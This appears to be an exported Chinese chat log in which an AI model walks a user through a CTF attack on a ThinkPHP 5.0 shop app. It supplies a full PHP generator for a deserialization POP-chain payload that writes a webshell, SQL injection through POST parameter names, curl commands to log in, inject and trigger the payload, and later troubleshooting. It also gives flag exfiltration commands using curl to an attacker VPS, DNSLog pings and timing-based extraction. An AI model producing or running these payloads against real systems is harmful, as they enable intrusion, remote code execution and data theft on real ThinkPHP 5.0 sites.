分析一下反序列化漏洞列,给出如何获取flag信息?
创建于:2026年5月26日
使用 GPT-5.5 Thinking 回答 Chat01
创建于:2026年5月26日
使用 GPT-5.5 Thinking 回答 Chat01
分析一下反序列化漏洞列,给出如何获取flag信息?
下面按这份 thinkshop_app.zip 的源码来分析,结论是:可以通过后台任意列名 SQL 注入把恶意序列化数据写入 goods.data,再访问商品详情触发 unserialize(),利用 ThinkPHP 5.0.21 POP 链写 WebShell,最后读 /fffflllaaaagggg。 附件本地的 flag 文件内容是占位值:flag=FLAG;真实题目环境一般读取同路径文件即可。
触发点在两个模板里:
phpunserialize(base64_decode($goods['data']))
分别位于:
textapplication/index/view/index/goods.html application/index/view/admin/goods_edit.html
Goods::getGoodsById() 只检查:
phpsubstr($data[0]['data'], 0, 3) !== "YTo"
这只是检查 base64 后是否以 YTo 开头,也就是序列化数组 a: 的 base64 前缀。绕过方式很简单:外层用数组包对象:
phpbase64_encode(serialize([恶意对象]))
这样 base64 一定以 YTo 开头,但数组内部仍然可以是对象。
ThinkPHP 5.0.x 的常见 POP 思路是通过 think\Model::__toString() 进入 toJson() / toArray(),再转到 think\console\Output::__call(),最终配合缓存驱动写文件;公开分析也指出 TP5.0.4–5.0.24 可使用这一类链条。(GitHub)
后台账号在 shop.sql 中:
textadmin / 123456
后台更新商品时调用:
phpUpdate::updatedata($data, 'goods', $data['id']);
它对 value 做了 bin2hex(),但 没有过滤 POST 的 key:
php$sql .= "`$key` = unhex('" . bin2hex($value) . "'), ";
所以 POST 参数名可以注入 SQL。构造类似参数名:
sqldata`=unhex('PAYLOAD_HEX') WHERE `id`=1#
最终会把 goods.id=1 的 data 列改成你的恶意 base64 序列化 payload。
payload 目标:写入一个 WebShell:
php<?php system($_GET["cmd"]); ?>
生成器示例:
php<?php // gen_payload.php namespace think { abstract class Model implements \JsonSerializable, \ArrayAccess { protected $connection = []; protected $parent; protected $query; protected $name; protected $table; protected $class; protected $error; protected $validate; protected $pk; protected $field = []; protected $except = []; protected $disuse = []; protected $readonly = []; protected $visible = []; protected $hidden = []; protected $append = []; protected $data = []; protected $origin = []; protected $relation = []; protected $auto = []; protected $insert = []; protected $update = []; protected $autoWriteTimestamp; protected $createTime = 'create_time'; protected $updateTime = 'update_time'; protected $dateFormat; protected $type = []; protected $isUpdate = false; protected $replace = false; protected $force = false; protected $updateWhere; protected $failException = false; protected $useGlobalScope = true; protected $batchValidate = false; protected $resultSetType; protected $relationWrite; public function jsonSerialize(): mixed { return []; } public function offsetSet(mixed $a, mixed $b): void {} public function offsetExists(mixed $a): bool { return false; } public function offsetUnset(mixed $a): void {} public function offsetGet(mixed $a): mixed { return null; } } } namespace think\model { class Pivot extends \think\Model {} } namespace think\model\relation { class HasOne extends \think\model\Relation {} } namespace think\model { abstract class Relation { protected $parent; protected $model; protected $query; protected $foreignKey; protected $localKey; protected $baseQuery; protected $selfRelation; protected $bindAttr = []; } } namespace think\db { class Query { protected $connection; protected $builder; protected $model; } } namespace think\console { class Output { private $verbosity = 1; private $handle = null; protected $styles = ['info','error','comment','question','highlight','warning']; } } namespace think\session\driver { class Memcached { protected $handler = null; protected $config = []; } } namespace think\cache { abstract class Driver { protected $handler = null; protected $options = []; protected $tag; } } namespace think\cache\driver { class File extends \think\cache\Driver { protected $expire; } } namespace payload { function set_prop($obj, $prop, $val) { $ref = new \ReflectionClass($obj); while (!$ref->hasProperty($prop)) { $ref = $ref->getParentClass(); } $p = $ref->getProperty($prop); $p->setAccessible(true); $p->setValue($obj, $val); } $shell = '<?php system($_GET["cmd"]); ?>'; $prefix = base64_encode($shell); $file = new \think\cache\driver\File(); set_prop($file, 'tag', true); set_prop($file, 'options', [ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => $prefix, 'path' => 'php://filter/convert.base64-decode/resource=./', 'data_compress' => false, ]); $sess = new \think\session\driver\Memcached(); set_prop($sess, 'handler', $file); set_prop($sess, 'config', [ 'host'=>'127.0.0.1', 'port'=>11211, 'expire'=>3600, 'timeout'=>0, 'session_name'=>'', 'username'=>'', 'password'=>'' ]); $out = new \think\console\Output(); set_prop($out, 'handle', $sess); set_prop($out, 'styles', ['info','error','comment','question','highlight','warning','getAttr']); $q = new \think\db\Query(); set_prop($q, 'model', $out); $rel = new \think\model\relation\HasOne(); set_prop($rel, 'query', $q); set_prop($rel, 'selfRelation', false); set_prop($rel, 'bindAttr', ['no_such_data_key' => 'x']); $pivot = new \think\model\Pivot(); set_prop($pivot, 'parent', $out); set_prop($pivot, 'error', $rel); set_prop($pivot, 'append', ['getError']); set_prop($pivot, 'data', []); $payload = base64_encode(serialize([$pivot])); echo $payload . PHP_EOL; echo "shell_path=/public/$prefix/3b58a9545013e88c7186db11bb158c44.php" . PHP_EOL; }
运行:
bashphp gen_payload.php
得到的第一行就是 PAYLOAD。然后转 hex:
bashPAYLOAD='生成器输出的第一行' HEX=$(echo -n "$PAYLOAD" | xxd -p -c 256)
登录后台:
bashcurl -i -c cookie.txt \ -d 'username=admin&password=123456' \ 'http://目标/public/index.php/index/admin/do_login'
把 payload 写入 goods.data:
bashcurl -i -b cookie.txt \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-binary "id=1&name=a&price=1&on_sale_time=2023-01-01+00%3A00%3A00&image=a&data=x&data%60%3Dunhex%28%27${HEX}%27%29%20WHERE%20%60id%60%3D1%23=x" \ 'http://目标/public/index.php/index/admin/do_edit'
触发反序列化并写 WebShell:
bashcurl -i 'http://目标/public/index.php/index/index/goods/id/1'
读取 flag:
bashcurl 'http://目标/public/PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+/3b58a9545013e88c7186db11bb158c44.php?cmd=cat%20/fffflllaaaagggg'
如果是本地附件环境,/fffflllaaaagggg 的内容是:
textflag=FLAG
真实远程题目中同样读 /fffflllaaaagggg,返回值就是实际 flag。
好的,我总结一下目前遇到的问题:
当前进展
SQL注入 + 反序列化触发 ✅ 正常工作
核心问题
一旦调用 Output->getAttr('x')(即 bindAttr 非空时),无论 handle 是什么,一律返回 500。
具体测试结果:
┌────────────────────────────────┬─────────────────────────┬─────────────────┐
│ 测试 │ handle │ 结果 │
├────────────────────────────────┼─────────────────────────┼─────────────────┤
│ T3 (bindAttr=空) │ Output │ 200 OK │
├────────────────────────────────┼─────────────────────────┼─────────────────┤
│ T4 (bindAttr非空) │ null │ 500(预期之中) │
├────────────────────────────────┼─────────────────────────┼─────────────────┤
│ Nothing (0属性) │ Nothing::write() 空方法 │ 500 ❗ │
├────────────────────────────────┼─────────────────────────┼─────────────────┤
│ Buffer │ Buffer::write() │ 500 │
├────────────────────────────────┼─────────────────────────┼─────────────────┤
│ template/driver/File │ File::write() │ 500 │
├────────────────────────────────┼─────────────────────────┼─────────────────┤
│ Memcached → Memcache → Request │ 完整链 │ 500 │
└────────────────────────────────┴─────────────────────────┴─────────────────┘
最让人困惑的是:Nothing::write() 是一个完全空的方法体(public function write(...) { // do nothing
}),不可能抛出异常。但它仍然返回 500,说明链可能在 write() 被调用之前就断了。
可能的原因
你这个现象其实已经把问题“暴露得很明显”了:
真正崩的不是
Nothing::write(),而是$this->handle根本没有被成功赋值。
也就是说:
php$this->handle->write(...)
这里的 $this->handle 实际上还是 null。
所以你看到:
Output::write() → 200Output::write() → 500Nothing(空方法)也照样 500这几乎可以确定:
Output::$handle 是 private 属性,你序列化错了你现在最大的坑不是 POP 链,而是:
phpclass Output { private $handle; }
PHP 序列化里:
protected 属性名:
\0*\0prop
private 属性名:
\0完整类名\0prop
所以:
phpprivate $handle
真正序列化后必须是:
phps:29:"\0think\console\Output\0handle";
而不是:
phps:7:"handle";
也不是:
phps:10:"\0*\0handle";
更不是:
php\0Output\0handle
你本地是“手写 stub 类”:
phpnamespace think\console; class Output { private $handle; }
但:
例如:
都会导致:
phpunserialize()
后:
php$this->handle === null
然后:
php$this->handle->write()
直接 fatal。
因为:
phpprotected $styles
protected 属性序列化是:
php\0*\0styles
不依赖类名。
所以:
phpstyles 生效
说明:
但:
phpprivate $handle
依赖:
php\0think\console\Output\0handle
只要类名不精确匹配:
就不会赋值。
实际发生的是:
phpOutput::__call('getAttr', ['x']) → block() → writeln() → write() → $this->handle === null → Fatal error: Call to a member function write() on null
而不是:
phpNothing::write()
根本没调用到。
你现在直接:
不要 base64。
直接:
phpecho serialize($obj);
然后 grep:
bashgrep -ao 'handle'
你应该看到:
text\0think\console\Output\0handle
如果不是:
那就是错的。
直接:
这是关键。
你现在应该:
bashdocker run -it php:7.2-cli bash
然后:
bashcomposer install
把:
textthinkphp/library
整个引进去。
然后:
phprequire 'thinkphp/base.php';
直接:
php$o = new \think\console\Output();
真实实例化。
不要自己仿。
这是 TP 反序列化里最常见坑。
你怀疑 PHP8 也没错。
TP5.0.23 在 PHP8 上确实会炸很多地方:
例如:
ReflectionParameter::getClass() removedeach() removedcount(null) TypeError但:
而且:
text只要进入 Output::write 就炸
这不像 PHP8 兼容性随机炸。
更像:
php$this->handle == null
这种稳定 fatal。
不要 stub。
例如:
phprequire 'thinkphp/base.php'; $o = new \think\console\Output(); $r = new ReflectionClass($o); $p = $r->getProperty('handle'); $p->setAccessible(true); $p->setValue($o, new \think\console\output\driver\Nothing($o)); echo serialize($o);
然后看:
text\0think\console\Output\0handle
是否正确出现。
你可能还踩了:
phpclass Nothing { public function __construct(Output $output) }
如果你 stub 的:
phpclass Output {}
和真实类不一致,
PHP 在 unserialize 时:
可能产生:
text__PHP_Incomplete_Class
或者:
textTypeError
尤其 PHP8 更严格。
你当前不是 POP 链逻辑错。
而是:
具体是:
phpthink\console\Output::$handle
没有真正被赋值。
直接使用:
生成 payload。
不要 stub。
如果继续 stub:
必须确保:
phpnamespace think\console; class Output { private $handle; }
与目标类:
完全一致。
把 payload 解码:
phpvar_dump(unserialize(base64_decode($payload)));
然后:
php$r = new ReflectionClass($obj); $p = $r->getProperty('handle'); $p->setAccessible(true); var_dump($p->getValue($obj));
如果输出:
phpNULL
那就彻底实锤了。
● template\driver\File::write() takes (content) — when called from Output::write(), newline param), so I'd only write empty files. Not useful for a web shell.
Let me summarize the current blockers:
What's working:
The core problem: After system() executes, the chain continues in Memcache::set() at line 102:
key, expire). The handler is Request, and Request::__call('set') throws
Exception('method not exists:think\Request->set') → 500 error page. The 500 page discards any system() output.
What I've tried:
What I'm exploring now:
✻ Sautéed for 13m 16s
※ recap: RCE works (sleep test proves system() executes) but Memcache::set() crashes post-RCE with a 500 that hides flag
output. Need a handler class that has both get() and set() to avoid the crash, or use time-based blind extraction as
fallback. (disable recaps in /config)我还是遇到问题了?该怎么解决?我该如何获取flag信息或者rce?
你现在其实已经“拿下”了:
关键证据:
bashsleep 5
能稳定延迟 5 秒。
这说明:
Request->__call()call_user_func($this->hook[$method])system()已经全部成功执行。
你现在的问题已经不是“如何 RCE”,而是:
而你当前 POP 链的问题是:
phpMemcache::set() → Request::__call('set') → Exception → ThinkPHP 500 页面
500 把 system() 的 stdout 吃掉了。
所以:
已经成功了。
现在进入:
即可。
优先级:
你之前:
bashcat /flag > /var/www/html/public/f.txt
404。
这不代表不能写。
只代表:
这个题:
textthinkshop_app/ ├── public/ │ └── index.php
通常真实路径是:
text/var/www/html/public
但 docker/题目经常是:
text/app/public /www/public /home/ctf/public /srv/http/public
既然有 RCE:
直接:
bashpwd >/tmp/p
然后:
bashls / >/tmp/rootdirs
再:
bashfind / -name index.php 2>/dev/null >/tmp/idx
虽然 stdout 看不到。
但:
例如:
bashfind / -name index.php 2>/dev/null > public/a.txt
注意:
ThinkPHP 当前工作目录通常是项目根目录。
所以:
bashpublic/a.txt
比:
bash/var/www/html/public/a.txt
更可能成功。
bashecho '<?php system($_GET[c]);?>' > public/s.php
然后访问:
text/public/s.php?c=id
很多时候这一步直接通关。
试:
bashecho test > public/test.txt
访问:
text/public/test.txt
如果还 404:
说明:
你可以利用:
bashpwd > /tmp/pwd cp /tmp/pwd public/p.txt
如果 cp 成功:
说明:
如果失败:
继续:
bashpwd > ./public/p.txt
比 shell redirect 更稳定。
例如:
bashphp -r 'file_put_contents("public/x.php","<?php system($_GET[1]);");'
这通常比:
bashecho ...
可靠得多。
你现在不是 shell 环境。
而是:
phpsystem($method)
method 就是:
textget
或你 controllable 的字符串。
所以:
只依赖 side effect。
bashphp -r 'file_put_contents("public/f.txt",file_get_contents("/fffflllaaaagggg"));'
然后:
text/public/f.txt
直接读。
试:
bashcp /fffflllaaaagggg public/f.txt
或者:
bashcat /fffflllaaaagggg > public/f.txt
试:
bashfind . -type d -writable 2>/dev/null
把结果写:
bashfind . -type d -writable 2>/dev/null > public/w.txt
如果机器能出网:
bashcurl http://YOUR-VPS/$(cat /fffflllaaaagggg)
或者:
bashping `cat /fffflllaaaagggg`.x.dnslog.cn
直接 DNSLog 收 flag。
这是 CTF 里最稳的。
你已经验证:
bashsleep 5
可用。
那么:
例如:
bashif [ "$(cut -c1 /fffflllaaaagggg)" = "f" ]; then sleep 3; fi
然后:
逐字符爆破。
bashc=$(cut -c1 /fffflllaaaagggg) if [ "$c" = "f" ]; then sleep 3; fi
第二位:
bashc=$(cut -c2 /fffflllaaaagggg)
然后枚举:
texta-zA-Z0-9{}_-
虽然慢,但:
你已经不需要:
因为:
后面崩不影响命令执行。
这是关键。
优先试:
bashphp -r 'file_put_contents("public/f.txt",file_get_contents("/fffflllaaaagggg"));'
然后访问:
text/public/f.txt
如果不行:
bashphp -r 'file_put_contents("./public/f.txt",file_get_contents("/fffflllaaaagggg"));'
再不行:
bashecho '<?php system($_GET[c]);?>' > public/s.php
拿 webshell 后:
text/public/s.php?c=cat+/fffflllaaaagggg
基本就结束了。